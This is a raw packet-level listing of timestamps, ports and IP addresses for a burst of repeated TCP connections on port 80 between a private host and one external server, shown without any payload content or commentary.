Apr 20, 2024 00:42:45.923432112 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.925746918 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.925812960 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:46.182058096 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:46.182274103 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:46.254014015 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:46.406938076 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:46.665373087 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:46.671901941 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:46.754024982 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:47.676379919 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:47.676434040 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:47.864413977 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:47.936920881 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:47.937057972 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:47.939395905 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:47.939547062 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.091613054 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.123084068 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.123178005 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.123322010 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.353267908 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.353291988 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.353461981 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.381397963 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.381517887 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.381711960 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.614658117 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.614680052 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.621440887 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.640247107 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.646703959 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:48.707132101 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.725735903 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.827442884 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.827718019 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:48.827894926 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.086285114 CEST	80	49775	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.086318016 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.086469889 CEST	49775	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.086469889 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.086569071 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.089462042 CEST	80	49774	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.089556932 CEST	49774	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.345005035 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.345025063 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.345232010 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.603708982 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.609596968 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:49.691519976 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.820364952 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:49.820707083 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.079404116 CEST	80	49776	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.079493999 CEST	49776	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.084341049 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.084466934 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.084599018 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.347645998 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.347763062 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.348149061 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.611417055 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.611466885 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.617996931 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.737976074 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.738174915 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.996763945 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:50.996877909 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:50.997076035 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.001060963 CEST	80	49777	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.001252890 CEST	49777	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.256531000 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.256560087 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.256782055 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.516602039 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.525041103 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.642497063 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.642942905 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.901540995 CEST	80	49778	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.901639938 CEST	49778	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.904738903 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:51.904831886 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:51.906653881 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.168344975 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.168387890 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.168615103 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.430141926 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.438046932 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.566076994 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.566149950 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.828293085 CEST	80	49779	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.828310013 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:52.828360081 CEST	49779	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.828403950 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:52.828666925 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.090581894 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.090673923 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.090851068 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.354870081 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.354887009 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.363264084 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.441550970 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.491085052 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.494719028 CEST	49781	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.708010912 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.752496958 CEST	80	49780	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.752568007 CEST	49780	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.753006935 CEST	80	49781	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.753057957 CEST	49781	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.831262112 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.969201088 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:53.969296932 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:53.969446898 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.089776039 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.089884043 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.090389013 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.230508089 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.230608940 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.230815887 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.348683119 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.348697901 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.348884106 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.492010117 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.499569893 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.582175016 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.607619047 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.613708973 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:54.660268068 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.754105091 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.754179001 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:54.754553080 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.012581110 CEST	80	49783	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.012779951 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.012846947 CEST	49783	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.012892008 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.013041973 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.015177965 CEST	80	49782	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.017589092 CEST	49782	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.271476030 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.271495104 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.271740913 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.530317068 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.536955118 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.582155943 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.657145023 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.657227039 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.915720940 CEST	80	49784	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.915797949 CEST	49784	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.918611050 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:55.918673992 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:55.918859959 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.180284023 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.180309057 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.180561066 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.443383932 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.443397999 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.448901892 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.504004955 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.569092989 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.569408894 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.828160048 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.828239918 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.828380108 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:56.830566883 CEST	80	49785	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:56.830611944 CEST	49785	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.086848021 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.086864948 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.087162018 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.345809937 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.351839066 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.394659042 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.468333006 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.468446970 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.726993084 CEST	80	49786	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.727073908 CEST	49786	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.729943991 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.730026007 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.730181932 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:57.991573095 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.991688013 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:57.991887093 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.253422976 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.260390043 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.300921917 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.376152039 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.376185894 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.637321949 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.637445927 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.637618065 CEST	80	49787	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.637665987 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.637691021 CEST	49787	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:58.898742914 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.898849964 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:58.899069071 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.160341024 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.160355091 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.170303106 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.222790956 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.304385900 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.304678917 CEST	49789	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.504756927 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.564871073 CEST	80	49789	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.564925909 CEST	49789	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.568021059 CEST	80	49788	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.568079948 CEST	49788	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.654550076 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.770175934 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.770298958 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.770464897 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.914936066 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:59.915030003 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:59.915196896 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.031883955 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.032061100 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.032258034 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.175864935 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.176454067 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.176623106 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.293915987 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.302476883 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.347872019 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.435620070 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.443229914 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.488383055 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.564627886 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.564681053 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.564903021 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.823127985 CEST	80	49791	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.823187113 CEST	49791	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.823257923 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.823333025 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.823520899 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:00.826248884 CEST	80	49790	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:00.826308012 CEST	49790	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.087692976 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.087716103 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.087894917 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.346811056 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.354547977 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.394727945 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.472752094 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.473114967 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.731916904 CEST	80	49793	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.732147932 CEST	49793	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.734385014 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.734580994 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.734664917 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:01.996135950 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.996370077 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:01.996664047 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.258276939 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.266269922 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.316534042 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.404021978 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.404256105 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.662689924 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.662776947 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.662939072 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.665420055 CEST	80	49794	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.665488005 CEST	49794	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:02.921341896 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.921364069 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:02.921598911 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.180071115 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.187612057 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.238415956 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.313260078 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.316243887 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.316473007 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.574836969 CEST	80	49795	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.574939966 CEST	49795	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.575042963 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.575124979 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.575282097 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:03.833493948 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.833508968 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:03.833699942 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.093060017 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:04.100281000 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:04.144633055 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.509469986 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.510041952 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.768045902 CEST	80	49796	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:04.768141985 CEST	49796	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.771451950 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:04.771539927 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:04.773020029 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.034121990 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.034140110 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.082154036 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.611032009 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.612180948 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.671011925 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.875097990 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.875119925 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.875191927 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.875468016 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.882742882 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.882797003 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:05.932226896 CEST	80	49797	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:05.932276011 CEST	49797	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.134516954 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.134531021 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.145709991 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.233350039 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.404172897 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.411307096 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.457160950 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.495384932 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.495490074 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.704267025 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:06.965959072 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.966059923 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:06.966424942 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.229294062 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.236244917 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.362001896 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.362026930 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.362371922 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.621068001 CEST	80	49798	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.621234894 CEST	49798	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.624249935 CEST	80	49799	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.624301910 CEST	49799	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.624401093 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.624638081 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.624721050 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:07.885981083 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.886034966 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:07.886351109 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.147877932 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:08.154594898 CEST	80	49800	109.107.182.145	192.168.2.4
Apr 20, 2024 00:43:08.282378912 CEST	49800	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.282685995 CEST	49801	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:43:08.541415930 CEST	80	49801	109.107.182.145	192.168.2.4
